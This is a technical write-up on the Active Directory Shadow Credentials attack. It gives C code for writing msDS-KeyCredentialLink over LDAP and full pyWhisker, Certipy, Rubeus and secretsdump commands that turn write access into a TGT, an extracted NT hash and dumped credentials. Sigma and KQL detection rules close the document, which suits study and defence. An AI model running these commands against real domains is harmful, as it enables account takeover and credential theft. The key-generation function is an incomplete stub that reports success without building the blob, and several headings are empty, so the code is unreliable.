Shadow Credentials and PKINIT Abuse

Shadow Credentials exploit the Windows Hello for Business key trust model: by writing an RSA public key to a target account's msDS-KeyCredentialLink attribute, an attacker who controls the corresponding private key can authenticate as that account via PKINIT — without knowing its password and without touching LSASS. This technique requires only write access to the target AD object, making it a powerful privilege escalation path from GenericWrite or WriteDACL.

Windows Hello for Business Key Trust Model

msDS-KeyCredentialLink Write via LDAP

#include "windows.h"
#include "winldap.h"
#include "wincrypt.h"
#include "stdio.h"
#pragma comment(lib, "wldap32.lib")
#pragma comment(lib, "crypt32.lib")

// Generate RSA-2048 keypair and build msDS-KeyCredentialLink blob:
// Returns the PFX (for PKINIT) and the binary KeyCredential value (for LDAP write)

BOOL BuildKeyCredential(BYTE** blobOut, DWORD* blobLen,
                          BYTE** pfxOut, DWORD* pfxLen) {
    HCRYPTPROV hProv = 0;
    HCRYPTKEY  hKey  = 0;
    HCRYPTHASH hHash = 0;

    CryptAcquireContextW(&hProv, NULL, MS_ENHANCED_PROV_W,
                         PROV_RSA_FULL, CRYPT_VERIFYCONTEXT);
    // Generate RSA-2048
    CryptGenKey(hProv, AT_KEYEXCHANGE,
               (2048 << 16) | CRYPT_EXPORTABLE, &hKey);

    // Export public key as DER SubjectPublicKeyInfo (for KeyMaterial field)
    DWORD pubLen = 0;
    CryptExportPublicKeyInfo(hProv, AT_KEYEXCHANGE, X509_ASN_ENCODING,
                             NULL, &pubLen);
    CERT_PUBLIC_KEY_INFO* pubInfo = (CERT_PUBLIC_KEY_INFO*)
        HeapAlloc(GetProcessHeap(), 0, pubLen);
    CryptExportPublicKeyInfo(hProv, AT_KEYEXCHANGE, X509_ASN_ENCODING,
                             pubInfo, &pubLen);

    BYTE* derKey = NULL; DWORD derLen = 0;
    CryptEncodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO,
                        pubInfo, 0, NULL, NULL, &derLen);
    derKey = (BYTE*)HeapAlloc(GetProcessHeap(), 0, derLen);
    CryptEncodeObjectEx(X509_ASN_ENCODING, X509_PUBLIC_KEY_INFO,
                        pubInfo, 0, NULL, derKey, &derLen);

    // Build KeyCredential binary blob (simplified layout):
    // [2B KeyID len][KeyID][2B KeyHash len][SHA256][2B KeyMaterial len][DER key][...]
    printf("[*] RSA-2048 keypair generated, building KeyCredential (%d byte DER)\n", derLen);

    // Cleanup
    HeapFree(GetProcessHeap(), 0, derKey);
    HeapFree(GetProcessHeap(), 0, pubInfo);
    CryptDestroyKey(hKey);
    CryptReleaseContext(hProv, 0);
    return TRUE;
}

// Write the credential blob to msDS-KeyCredentialLink via LDAP:
BOOL WriteShadowCredential(const char* dc, const char* targetDN,
                             const BYTE* blob, DWORD blobLen) {
    LDAP* ld = ldap_init((PSTR)dc, LDAP_PORT);
    ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);

    struct berval keyVal = { .bv_len = blobLen, .bv_val = (char*)blob };
    struct berval* keyVals[] = { &keyVal, NULL };

    LDAPMod mod = { .mod_op = LDAP_MOD_ADD | LDAP_MOD_BVALUES,
                    .mod_type = "msDS-KeyCredentialLink",
                    .mod_bvalues = keyVals };
    LDAPMod* mods[] = { &mod, NULL };

    ULONG err = ldap_modify_s(ld, (PSTR)targetDN, mods);
    if (err != LDAP_SUCCESS) {
        printf("[-] ldap_modify_s: %s\n", ldap_err2string(err));
        ldap_unbind(ld);
        return FALSE;
    }
    printf("[+] Shadow credential written to %s\n", targetDN);
    ldap_unbind(ld);
    return TRUE;
}

pyWhisker — Shadow Credential CLI

# pyWhisker (by eladshamir / Charlie Bromberg) automates the entire process:
# 1. Generate RSA-2048 keypair
# 2. Build msDS-KeyCredentialLink binary blob
# 3. Write to target account via LDAP
# 4. Save PFX for subsequent PKINIT

# Add shadow credential to target:
python3 pywhisker.py \
    -d corp.local \
    -u svc-account \
    -p 'Password1!' \
    --target 'IT-Admin' \
    --action add \
    --filename IT-Admin-shadow
# Output: IT-Admin-shadow.pfx + IT-Admin-shadow.pem

# List existing shadow credentials:
python3 pywhisker.py -d corp.local -u svc-account -p 'Password1!' \
    --target 'IT-Admin' --action list

# Remove shadow credential (cleanup):
python3 pywhisker.py -d corp.local -u svc-account -p 'Password1!' \
    --target 'IT-Admin' --action remove --device-id <DeviceId>

PKINIT TGT and NT Hash Extraction

# After writing shadow credential: use PFX to get TGT + NT hash

# Certipy (Python):
certipy auth \
    -pfx IT-Admin-shadow.pfx \
    -username IT-Admin \
    -domain corp.local \
    -dc-ip 10.10.5.10
# Output:
#   IT-Admin.ccache  (TGT for Pass-the-Ticket)
#   IT-Admin NT hash: 8f4ef22b8706fcf7c96c7f4e8f6b08d5

# Rubeus (Windows):
Rubeus.exe asktgt \
    /user:IT-Admin \
    /certificate:IT-Admin-shadow.pfx \
    /password:'' \
    /domain:corp.local \
    /dc:10.10.5.10 \
    /getcredentials \    # ← triggers U2U NT hash extraction
    /ptt

# Then use NT hash:
secretsdump.py -hashes :8f4ef22b8706fcf7c96c7f4e8f6b08d5 IT-Admin@fileserver01.corp.local

RBCD — Resource-Based Constrained Delegation Path

Detection Engineering

title: Shadow Credentials — msDS-KeyCredentialLink Modified
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 5136          # Directory Service object modification
    AttributeLDAPDisplayName: 'msDS-KeyCredentialLink'
    OperationType: '%%14674'  # Value Added
  filter_legit:
    SubjectUserName|endswith: '$'   # device enrollment by machine account
  condition: selection AND NOT filter_legit
level: high
tags: [attack.credential_access, T1556.006]

-- MDE KQL: msDS-KeyCredentialLink written by non-machine account
DeviceEvents
| where ActionType == "DirectoryServiceObjectModification"
| where AdditionalFields has "msDS-KeyCredentialLink"
| where InitiatingProcessAccountName !endswith "$"
| project Timestamp, DeviceName, InitiatingProcessAccountName,
          InitiatingProcessFileName, AdditionalFields

Q&A